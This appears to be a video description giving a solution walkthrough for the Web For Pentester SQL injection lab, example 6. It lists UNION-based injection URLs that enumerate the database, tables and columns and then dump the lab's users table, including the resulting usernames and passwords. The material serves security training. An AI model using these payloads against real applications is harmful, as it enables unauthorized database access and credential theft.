Web For Pentester SQL Injection Example 6 Solution

Publicado el: 02 septiembre 2018
en el canal de: Shahzad Haxor

882

In This Video We Will See That How We Can Solve Web For Pentester Sql Injection Example 6

Fix Query :
http://192.168.174.132/sqli/example6.php?id=2 and 1=1

Find Total Columns :
http://192.168.174.132/sqli/example6.php?id=2 order by 5

there are 5 columns .

Find Vulnerable Column :
http://192.168.174.132/sqli/example6.php?id=2 union select 1,2,3,4,5

1,2,3 is vulnerable.

Find Database Name :
http://192.168.174.132/sqli/example6.php?id=2 union select (SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),2,3,4,5

Database name : exercises

Find Tables :
http://192.168.174.132/sqli/example6.php?id=2 union select (SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x657865726369736573),2,3,4,5

Table Name : users

Find Columns Name :
http://192.168.174.132/sqli/example6.php?id=2 union select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273),2,3,4,5

Column Names :
id
name
age
groupid
passwd

Extract Data :
http://192.168.174.132/sqli/example6.php?id=2 union select (SELECT+GROUP_CONCAT(0x22494422,id,0x224e616d6522,name,0x2241676522,age,0x2247494422,groupid,0x2250617373776f726422,passwd+SEPARATOR+0x3c62723e)+FROM+exercises.users),2,3,4,5

Extracted Data :

"ID"1"Name"admin"Age"10"GID"10"Password"admin
"ID"2"Name"root"Age"30"GID"0"Password"admin21
"ID"3"Name"user1"Age"5"GID"2"Password"secret
"ID"5"Name"user2"Age"2"GID"5"Password"azerty

Thanks For watching this video if you like this video please don't forget to subscribe our channel. and i will see you next video till then good bye....

IF YOU LIKE THIS VIDEO. PLEASE DON'T FORGET TO LIKE SHARE AND SUBSCRIBE OUR CHANNEL.

THANKS FOR WATCHING.

En esta página del sitio puede ver el video en línea Web For Pentester SQL Injection Example 6 Solution de Duración hora minuto segunda en buena calidad , que subió el usuario Shahzad Haxor 02 septiembre 2018, comparta el enlace con amigos y conocidos, en youtube este video ya ha sido visto 882 veces y le gustó 3 a los espectadores. Disfruta viendo!

12,487

385